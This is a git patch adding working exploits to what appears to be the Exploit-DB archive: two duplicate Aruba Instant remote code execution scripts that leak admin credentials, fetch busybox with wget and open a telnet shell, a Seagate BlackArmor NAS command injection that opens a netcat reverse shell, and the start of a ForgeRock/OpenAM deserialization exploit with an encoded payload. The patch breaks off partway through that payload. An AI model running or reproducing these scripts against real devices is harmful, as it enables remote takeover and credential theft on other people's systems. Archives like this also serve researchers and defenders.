From 29558b9c8447f815f440fb2ee60f5f40a4666a06 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Sat, 17 Jul 2021 05:01:54 +0000 Subject: [PATCH] DB: 2021-07-17 6 changes to exploits/shellcodes Argus Surveillance DVR 4.0 - Weak Password Encryption Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation Aruba Instant 8.7.1.0 - Arbitrary File Modification Aruba Instant (IAP) - Remote Code Execution ForgeRock Access Manager/OpenAM 14.6.3 - Remote Code Execution (RCE) (Unauthenticated) Seagate BlackArmor NAS sg2000-2000.1331 - Command Injection --- exploits/cgi/remote/50136.py | 157 ++++++ exploits/hardware/remote/50133.py | 171 +++++++ exploits/hardware/webapps/50132.py | 29 ++ exploits/java/webapps/50131.py | 152 ++++++ exploits/linux/local/50135.c | 762 +++++++++++++++++++++++++++++ exploits/windows/local/50130.py | 54 ++ files_exploits.csv | 6 + 7 files changed, 1331 insertions(+) create mode 100755 exploits/cgi/remote/50136.py create mode 100755 exploits/hardware/remote/50133.py create mode 100755 exploits/hardware/webapps/50132.py create mode 100755 exploits/java/webapps/50131.py create mode 100644 exploits/linux/local/50135.c create mode 100755 exploits/windows/local/50130.py diff --git a/exploits/cgi/remote/50136.py b/exploits/cgi/remote/50136.py new file mode 100755 index 000000000..ca77e735b --- /dev/null +++ b/exploits/cgi/remote/50136.py @@ -0,0 +1,157 @@ +import socket +import sys +import struct +import time +import threading +import urllib3 +import re +import telnetlib +import xml.etree.ElementTree as ET +import requests + +urllib3.disable_warnings() + +CONTINUE_RACE = True +SNPRINTF_CREATEFILE_MAX_LENGTH = 245 + + +def race_papi_message(ip): + + global CONTINUE_RACE + + payload = b"\x49\x72" + payload += b"\x00\x03" + payload += b"\x7F\x00\x00\x01" + payload += b"\x7F\x00\x00\x01" + payload += b"\x00\x00" + payload += b"\x00\x00" + payload += b"\x3B\x7E" + payload += b"\x41\x41" + payload += b"\x04\x22" + payload += b"\x00\x00" + payload += b"\x02\x00" + payload += b"\x00\x00" + payload += b"\x00" * 12 * 4 + text_to_send = bytes() + for i in "msg_ref 3000 /tmp/cfg-plaintext\x00": + text_to_send += struct.pack("B", int(ord(i)) ^ 0x93) + + packet = payload + text_to_send + + while CONTINUE_RACE: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect((ip, 8211)) + s.send(packet) + s.close() + time.sleep(0.004) + + +def find_credentials(text): + res = re.search("mgmt-user .*", text)[0] + res = res.split(" ") + return (res[1], res[2]) + + +def login(ip, username, password): + login_data = { + "opcode": "login", + "user": username, + "passwd": password, + "refresh": "false", + } + res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=login_data, verify=False) + + root = ET.fromstring(res.text) + return root.find("./data[@name='sid']").text + + +def create_directory(ip, sid): + request_data = "opcode=config&ip=127.0.0.1&cmd='end%20%0Aapply%20cplogo-install%20\"https://{ip}:4343/%09--directory-prefix%09/tmp/oper_/%09#\"'&refresh=false&sid={sid}&nocache=0.23759201691110987&=".format(ip=ip, sid=sid) + res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=request_data, verify=False) + if "/tmp/oper_" in res.text: + print("[+] Successfully created /tmp/oper_/ directory :)") + return True + else: + print("[-] Failed creating /tmp/oper_/ directory") + return False + + +def prepare_upload_id(command): + base_payload = "/../../etc/httpd/" + cmd_len = len(command) + padding_len = SNPRINTF_CREATEFILE_MAX_LENGTH - cmd_len - len(base_payload) - 8 # for the .gz at the end and the '; + spaces + if padding_len < 0: + print("[-] Command too long length:{}".format(padding_len)) + exit(1) + return base_payload + ('/' * (padding_len - 1)) + 'A' + "'; {} #.gz".format(command) + + +def create_file(ip, command): + upload_id = prepare_upload_id(command) + requests.post("https://{}:4343/swarm.cgi".format(ip), data={"opcode": "cp-upload", "file_type": "logo", "upload_id": upload_id, "sid": "basdfbsfbsfb"}, files={"file": "test2"}, verify=False) + + +def run_command(ip, command): + print("[*] Executing telnet") + command = command.replace("?", "%3F") + command = command.replace("#", "\\\\x23") + s = requests.Session() + req = requests.Request('GET', "https://{}:4343/A';%20{}%20%23".format(ip, command)) + prep = req.prepare() + response = s.send(prep, verify=False) + return response.text + +def build_command(command): + command = command.replace("/", "\\\\x2F") + command = command.replace("#", "\\\\x23") + command = command.replace("\"", "\\\"") + command = command.replace("`", "\`") + final_command = "echo -e \"{}\"|sh".format(command) + return final_command + +def telnet_connect(router_ip): + print("[*] Connecting to telnet") + with telnetlib.Telnet(router_ip, 22222) as tn: + tn.write(b"rm /etc/httpd/A*sh*.gz\n") + tn.interact() + + +def main(): + + global CONTINUE_RACE + + ip = sys.argv[1] + + print("[*] Starting the PAPI race thread") + papi_thread = threading.Thread(target=race_papi_message, args=(ip, )) + papi_thread.start() + + while CONTINUE_RACE: + time.sleep(0.1) + res = requests.get("https://{}:4343/swarm.cgi?opcode=single_signon&key=AAAA&ip=%20127.0.0.1".format(ip), timeout=3, verify=False) + if "version" in res.text: + print("[+] Successfully leaked the password from config") + CONTINUE_RACE = False + + file_content = re.findall("var SESSION_ID = '(.*?)';", res.text, re.S)[0] + user, password = find_credentials(file_content) + + print("[+] Successfully extracted username: {} and password: {}".format(user, password)) + sid = login(ip, user, password) + print("[*] SID generated: {}".format(sid)) + + command = """cd /tmp;/usr/sbin/wget https://busybox.net/downloads/binaries/1.21.1/busybox-armv5l --no-check-certificate -O telnetd;chmod +x telnetd;./telnetd -p 22222 -l sh""" + final_command = build_command(command) + + if not create_directory(ip, sid): + return + + print("[*] Creating malicious file in /etc/httpd/") + create_file(ip, final_command) + print(run_command(ip, final_command)) + time.sleep(1) # Sleeping waiting for telnet. + telnet_connect(ip) + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/exploits/hardware/remote/50133.py b/exploits/hardware/remote/50133.py new file mode 100755 index 000000000..ac61a7d62 --- /dev/null +++ b/exploits/hardware/remote/50133.py @@ -0,0 +1,171 @@ +# Exploit Title: Aruba Instant 8.7.1.0 - Arbitrary File Modification +# Date: 15/07/2021 +# Exploit Author: Gr33nh4t +# Vendor Homepage: https://www.arubanetworks.com/ +# Version: +# Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below +# Aruba Instant 6.5.x: 6.5.4.18 and below +# Aruba Instant 8.3.x: 8.3.0.14 and below +# Aruba Instant 8.5.x: 8.5.0.11 and below +# Aruba Instant 8.6.x: 8.6.0.6 and below +# Aruba Instant 8.7.x: 8.7.1.0 and below +# Tested on: Aruba Instant +# CVE : CVE-2021-25155 + +import socket +import sys +import struct +import time +import threading +import urllib3 +import re +import telnetlib +import xml.etree.ElementTree as ET +import requests + +urllib3.disable_warnings() + +CONTINUE_RACE = True +SNPRINTF_CREATEFILE_MAX_LENGTH = 245 + + +def race_papi_message(ip): + + global CONTINUE_RACE + + payload = b"\x49\x72" + payload += b"\x00\x03" + payload += b"\x7F\x00\x00\x01" + payload += b"\x7F\x00\x00\x01" + payload += b"\x00\x00" + payload += b"\x00\x00" + payload += b"\x3B\x7E" + payload += b"\x41\x41" + payload += b"\x04\x22" + payload += b"\x00\x00" + payload += b"\x02\x00" + payload += b"\x00\x00" + payload += b"\x00" * 12 * 4 + text_to_send = bytes() + for i in "msg_ref 3000 /tmp/cfg-plaintext\x00": + text_to_send += struct.pack("B", int(ord(i)) ^ 0x93) + + packet = payload + text_to_send + + while CONTINUE_RACE: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect((ip, 8211)) + s.send(packet) + s.close() + time.sleep(0.004) + + +def find_credentials(text): + res = re.search("mgmt-user .*", text)[0] + res = res.split(" ") + return (res[1], res[2]) + + +def login(ip, username, password): + login_data = { + "opcode": "login", + "user": username, + "passwd": password, + "refresh": "false", + } + res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=login_data, verify=False) + + root = ET.fromstring(res.text) + return root.find("./data[@name='sid']").text + + +def create_directory(ip, sid): + request_data = "opcode=config&ip=127.0.0.1&cmd='end%20%0Aapply%20cplogo-install%20\"https://{ip}:4343/%09--directory-prefix%09/tmp/oper_/%09#\"'&refresh=false&sid={sid}&nocache=0.23759201691110987&=".format(ip=ip, sid=sid) + res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=request_data, verify=False) + if "/tmp/oper_" in res.text: + print("[+] Successfully created /tmp/oper_/ directory :)") + return True + else: + print("[-] Failed creating /tmp/oper_/ directory") + return False + + +def prepare_upload_id(command): + base_payload = "/../../etc/httpd/" + cmd_len = len(command) + padding_len = SNPRINTF_CREATEFILE_MAX_LENGTH - cmd_len - len(base_payload) - 8 # for the .gz at the end and the '; + spaces + if padding_len < 0: + print("[-] Command too long length:{}".format(padding_len)) + exit(1) + return base_payload + ('/' * (padding_len - 1)) + 'A' + "'; {} #.gz".format(command) + + +def create_file(ip, command): + upload_id = prepare_upload_id(command) + requests.post("https://{}:4343/swarm.cgi".format(ip), data={"opcode": "cp-upload", "file_type": "logo", "upload_id": upload_id, "sid": "basdfbsfbsfb"}, files={"file": "test2"}, verify=False) + + +def run_command(ip, command): + print("[*] Executing telnet") + command = command.replace("?", "%3F") + command = command.replace("#", "\\\\x23") + s = requests.Session() + req = requests.Request('GET', "https://{}:4343/A';%20{}%20%23".format(ip, command)) + prep = req.prepare() + response = s.send(prep, verify=False) + return response.text + +def build_command(command): + command = command.replace("/", "\\\\x2F") + command = command.replace("#", "\\\\x23") + command = command.replace("\"", "\\\"") + command = command.replace("`", "\`") + final_command = "echo -e \"{}\"|sh".format(command) + return final_command + +def telnet_connect(router_ip): + print("[*] Connecting to telnet") + with telnetlib.Telnet(router_ip, 22222) as tn: + tn.write(b"rm /etc/httpd/A*sh*.gz\n") + tn.interact() + + +def main(): + + global CONTINUE_RACE + + ip = sys.argv[1] + + print("[*] Starting the PAPI race thread") + papi_thread = threading.Thread(target=race_papi_message, args=(ip, )) + papi_thread.start() + + while CONTINUE_RACE: + time.sleep(0.1) + res = requests.get("https://{}:4343/swarm.cgi?opcode=single_signon&key=AAAA&ip=%20127.0.0.1".format(ip), timeout=3, verify=False) + if "version" in res.text: + print("[+] Successfully leaked the password from config") + CONTINUE_RACE = False + + file_content = re.findall("var SESSION_ID = '(.*?)';", res.text, re.S)[0] + user, password = find_credentials(file_content) + + print("[+] Successfully extracted username: {} and password: {}".format(user, password)) + sid = login(ip, user, password) + print("[*] SID generated: {}".format(sid)) + + command = """cd /tmp;/usr/sbin/wget https://busybox.net/downloads/binaries/1.21.1/busybox-armv5l --no-check-certificate -O telnetd;chmod +x telnetd;./telnetd -p 22222 -l sh""" + final_command = build_command(command) + + if not create_directory(ip, sid): + return + + print("[*] Creating malicious file in /etc/httpd/") + create_file(ip, final_command) + print(run_command(ip, final_command)) + time.sleep(1) # Sleeping waiting for telnet. + telnet_connect(ip) + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/exploits/hardware/webapps/50132.py b/exploits/hardware/webapps/50132.py new file mode 100755 index 000000000..df59bc168 --- /dev/null +++ b/exploits/hardware/webapps/50132.py @@ -0,0 +1,29 @@ +# Exploit Title: Seagate BlackArmor NAS sg2000-2000.1331 - Command Injection +# Date: 15.07.2021 +# Discovered by: Jeroen - IT Nerdbox +# Exploit Author: Metin Yunus Kandemir +# Version: sg2000-2000.1331 +# Vendor Homepage: https://www.seagate.com/ +# Software Link: https://www.seagate.com/tr/tr/support/downloads/item/banas-220-firmware-master-dl/ + +#!/usr/bin/python3 + +import requests +import sys + +def exec(target, ncIp, ncPort): + print("[!] Please check netcat listener: "+ ncPort) + url = "http://" + target + "/backupmgt/localJob.php?session=fail;nc+"+ncIp+"+"+ncPort+"+-e+/bin/sh%00" + r = requests.get(url = url) + sys.exit(1) + +def main(args): + if len(args) != 4: + print("[*] usage: %s targetIp:port ncIp ncPort" % (args[0])) + print("[*] Example:python3 exploit.py 192.168.1.13 192.168.1.22 80") + sys.exit(1) + exec(target=args[1], ncIp=args[2], ncPort=args[3]) + + +if __name__ == "__main__": + main(args=sys.argv) \ No newline at end of file diff --git a/exploits/java/webapps/50131.py b/exploits/java/webapps/50131.py new file mode 100755 index 000000000..4cc477720 --- /dev/null +++ b/exploits/java/webapps/50131.py @@ -0,0 +1,152 @@ +# Exploit Title: ForgeRock Access Manager/OpenAM 14.6.3 - Remote Code Execution (RCE) (Unauthenticated) +# Date: 2021-07-14 +# Exploit Author: Photubias – tijl[dot]deneut[at]Howest[dot]be for www.ic4.be +# Vendor Advisory: [1] https://backstage.forgerock.com/knowledge/kb/article/a47894244 +# Vendor Homepage: https://github.com/OpenIdentityPlatform/OpenAM/ +# Version: [1] OpenAM 14.6.3 +# [2] Forgerock 6.0.0.x and all versions of 6.5, up to and including 6.5.3, and is fixed as of version AM 7 released on June 29, 2021 +# Tested on: OpenAM 14.6.3 and Tomcat/8.5.68 with JDK-8u292 on Debian 10 +# CVE: CVE-2021-35464 + +#!/usr/bin/env python3 + +''' + Copyright 2021 Photubias(c) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + + File name CVE-2021-35464.py + written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be + + This is a native implementation without requirements, written in Python 3. + Works equally well on Windows as Linux (as MacOS, probably ;-) + + Rewritten from and full credits to @Y4er_ChaBug: + https://github.com/Y4er/openam-CVE-2021-35464 + and of course the discoverer @artsploit: + https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464 + Created using https://github.com/frohoff/ysoserial +''' + +import urllib.request, urllib.parse, ssl, sys, optparse + +## Static vars; change at will, but recommend leaving as is +sURL = 'http://192.168.0.100:7080/openam' +sEndpoint = 'ccversion/Version' +sEndpoint = 'oauth2/..;/ccversion/Version' ## This bypasses potential WAFs +iTimeout = 5 +strSerializedPayload = b'AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbGFzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wACmRhdGFTdHlsZXNxAH4AB0wACWRlY29yYXRvcnQAJExvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvRGVjb3JhdG9yO0wABmZvcm1hdHEAfgAITAALaGVhZGVyQ2xhc3NxAH4ACEwADGhlYWRlclN0eWxlc3EAfgAHTAALaGVhZGVyVGl0bGVxAH4ACEwADW1lc3NhZ2VGb3JtYXR0ABlMamF2YS90ZXh0L01lc3NhZ2VGb3JtYXQ7TAAEbmFtZXEAfgAITAAIcmVuZGVySWR0ABNMamF2YS9sYW5nL0Jvb2xlYW47TAAIc29ydGFibGVxAH4AC0wABXRhYmxldAAgTG9yZy9hcGFjaGUvY2xpY2svY29udHJvbC9UYWJsZTtMAA10aXRsZVByb3BlcnR5cQB-AAhMAAV3aWR0aHEAfgAIeHAAAQAAAABwcHBwcHBwcHBwdAAQb3V0cHV0UHJvcGVydGllc3Bwc3IAHm9yZy5hcGFjaGUuY2xpY2suY29udHJvbC5UYWJsZQAAAAAAAAABAgAXSQAOYmFubmVyUG9zaXRpb25aAAlob3ZlclJvd3NaABdudWxsaWZ5Um93TGlzdE9uRGVzdHJveUkACnBhZ2VOdW1iZXJJAAhwYWdlU2l6ZUkAE3BhZ2luYXRvckF0dGFjaG1lbnRaAAhyZW5kZXJJZEkACHJvd0NvdW50WgAKc2hvd0Jhbm5lcloACHNvcnRhYmxlWgAGc29ydGVkWgAPc29ydGVkQXNjZW5kaW5nTAAHY2FwdGlvbnEAfgAITAAKY29sdW1uTGlzdHQAEExqYXZhL3V0aWwvTGlzdDtMAAdjb2x1bW5zcQB-AAdMAAtjb250cm9sTGlua3QAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvQWN0aW9uTGluaztMAAtjb250cm9sTGlzdHEAfgAQTAAMZGF0YVByb3ZpZGVydAAsTG9yZy9hcGFjaGUvY2xpY2svZGF0YXByb3ZpZGVyL0RhdGFQcm92aWRlcjtMAAZoZWlnaHRxAH4ACEwACXBhZ2luYXRvcnQAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvUmVuZGVyYWJsZTtMAAdyb3dMaXN0cQB-ABBMAAxzb3J0ZWRDb2x1bW5xAH4ACEwABXdpZHRocQB-AAh4cgAob3JnLmFwYWNoZS5jbGljay5jb250cm9sLkFic3RyYWN0Q29udHJvbAAAAAAAAAABAgAJTAAOYWN0aW9uTGlzdGVuZXJ0ACFMb3JnL2FwYWNoZS9jbGljay9BY3Rpb25MaXN0ZW5lcjtMAAphdHRyaWJ1dGVzcQB-AAdMAAliZWhhdmlvcnN0AA9MamF2YS91dGlsL1NldDtMAAxoZWFkRWxlbWVudHNxAH4AEEwACGxpc3RlbmVydAASTGphdmEvbGFuZy9PYmplY3Q7TAAObGlzdGVuZXJNZXRob2RxAH4ACEwABG5hbWVxAH4ACEwABnBhcmVudHEAfgAXTAAGc3R5bGVzcQB-AAd4cHBwcHBwcHBwcAAAAAIAAQAAAAAAAAAAAAAAAQAAAAAAAAAAAXBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhwcHBwcHBwcHBwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0_BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAITAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA_____3VyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAABRfyv66vgAAADQBBgoARgCKCgCLAIwKAIsAjQoAHQCOCAB7CgAbAI8KAJAAkQoAkACSBwB8CgCLAJMIAJQKACAAlQgAlggAlwcAmAgAmQgAWQcAmgoAGwCbCACcCABxBwCdCwAWAJ4LABYAnwgAaAgAoAcAoQoAGwCiBwCjCgCkAKUIAKYHAKcIAKgKACAAqQgAqgkAJQCrBwCsCgAlAK0IAK4KAK8AsAoAIACxCACyCACzCAC0CAC1CAC2BwC3BwC4CgAwALkKADAAugoAuwC8CgAvAL0IAL4KAC8AvwoALwDACgAgAMEIAMIKABsAwwoAGwDECADFBwBlCgAbAMYIAMcHAMgIAMkIAMoHAMsKAEMAzAcAzQcAzgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy9Ub21jYXRFY2hvSW5qZWN0OwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwDPAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAA2NscwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAEdmFyNQEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQACW0IBAAlwcm9jZXNzb3IBABJMamF2YS9sYW5nL09iamVjdDsBAANyZXEBAARyZXNwAQABagEAAUkBAAF0AQASTGphdmEvbGFuZy9UaHJlYWQ7AQADc3RyAQASTGphdmEvbGFuZy9TdHJpbmc7AQADb2JqAQAKcHJvY2Vzc29ycwEAEExqYXZhL3V0aWwvTGlzdDsBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAFpAQAEZmxhZwEAAVoBAAVncm91cAEAF0xqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQABZgEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAd0aHJlYWRzAQATW0xqYXZhL2xhbmcvVGhyZWFkOwEADVN0YWNrTWFwVGFibGUHANAHANEHANIHAKcHAKMHAJoHAJ0HAGMHAMgHAMsBAApTb3VyY2VGaWxlAQAVVG9tY2F0RWNob0luamVjdC5qYXZhDABHAEgHANIMANMA1AwA1QDWDADXANgMANkA2gcA0QwA2wDcDADdAN4MAN8A4AEABGV4ZWMMAOEA4gEABGh0dHABAAZ0YXJnZXQBABJqYXZhL2xhbmcvUnVubmFibGUBAAZ0aGlzJDABAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAOMA2AEABmdsb2JhbAEADmphdmEvdXRpbC9MaXN0DADkAOUMAN0A5gEAC2dldFJlc3BvbnNlAQAPamF2YS9sYW5nL0NsYXNzDADnAOgBABBqYXZhL2xhbmcvT2JqZWN0BwDpDADqAOsBAAlnZXRIZWFkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQADY21kDADsAO0BAAlzZXRTdGF0dXMMAO4AXwEAEWphdmEvbGFuZy9JbnRlZ2VyDABHAO8BAAdvcy5uYW1lBwDwDADxAPIMAPMA4AEABndpbmRvdwEAB2NtZC5leGUBAAIvYwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyDABHAPQMAPUA9gcA9wwA-AD5DABHAPoBAAJcQQwA-wD8DAD9AOAMAP4A_wEAJG9yZy5hcGFjaGUudG9tY2F0LnV0aWwuYnVmLkJ5dGVDaHVuawwBAAEBDAECAQMBAAhzZXRCeXRlcwwBBADoAQAHZG9Xcml0ZQEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BABNqYXZhLm5pby5CeXRlQnVmZmVyAQAEd3JhcAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAQUASAEAI3lzb3NlcmlhbC9wYXlsb2Fkcy9Ub21jYXRFY2hvSW5qZWN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAFWphdmEvbGFuZy9UaHJlYWRHcm91cAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldFRocmVhZEdyb3VwAQAZKClMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAA1nZXRTdXBlcmNsYXNzAQAEc2l6ZQEAAygpSQEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAdpc0VtcHR5AQADKClaAQAEVFlQRQEABChJKVYBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEACGdldEJ5dGVzAQAEKClbQgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEWdldERlY2xhcmVkTWV0aG9kAQAPcHJpbnRTdGFja1RyYWNlACEARQBGAAAAAAAEAAEARwBIAAEASQAAAC8AAQABAAAABSq3AAGxAAAAAgBKAAAABgABAAAAEQBLAAAADAABAAAABQBMAE0AAAABAE4ATwACAEkAAAA_AAAAAwAAAAGxAAAAAgBKAAAABgABAAAAYABLAAAAIAADAAAAAQBMAE0AAAAAAAEAUABRAAEAAAABAFIAUwACAFQAAAAEAAEAVQABAE4AVgACAEkAAABJAAAABAAAAAGxAAAAAgBKAAAABgABAAAAZgBLAAAAKgAEAAAAAQBMAE0AAAAAAAEAUABRAAEAAAABAFcAWAACAAAAAQBZAFoAAwBUAAAABAABAFUACABbAEgAAQBJAAAF7QAIABEAAAMDAzu4AAK2AANMAU0rtgAEEgW2AAZNLAS2AAcsK7YACMAACcAACU4DNgQVBC2-ogLNLRUEMjoFGQXHAAanArkZBbYACjoGGQYSC7YADJoADRkGEg22AAyaAAanApsZBbYABBIOtgAGTSwEtgAHLBkFtgAIOgcZB8EAD5oABqcCeBkHtgAEEhC2AAZNLAS2AAcsGQe2AAg6BxkHtgAEEhG2AAZNpwAWOggZB7YABLYAE7YAExIRtgAGTSwEtgAHLBkHtgAIOgcZB7YABLYAExIUtgAGTacAEDoIGQe2AAQSFLYABk0sBLYABywZB7YACDoHGQe2AAQSFbYABk0sBLYABywZB7YACMAAFsAAFjoIAzYJFQkZCLkAFwEAogHLGQgVCbkAGAIAOgoZCrYABBIZtgAGTSwEtgAHLBkKtgAIOgsZC7YABBIaA70AG7YAHBkLA70AHbYAHjoMGQu2AAQSHwS9ABtZAxIgU7YAHBkLBL0AHVkDEiFTtgAewAAgOgYZBsYBVxkGtgAimgFPGQy2AAQSIwS9ABtZA7IAJFO2ABwZDAS9AB1ZA7sAJVkRAMi3ACZTtgAeVxInuAAotgApEiq2AAyZABkGvQAgWQMSK1NZBBIsU1kFGQZTpwAWBr0AIFkDEi1TWQQSLlNZBRkGUzoNuwAvWbsAMFkZDbcAMbYAMrYAM7cANBI1tgA2tgA3tgA4Og4SObgAOjoPGQ-2ADs6BxkPEjwGvQAbWQMSPVNZBLIAJFNZBbIA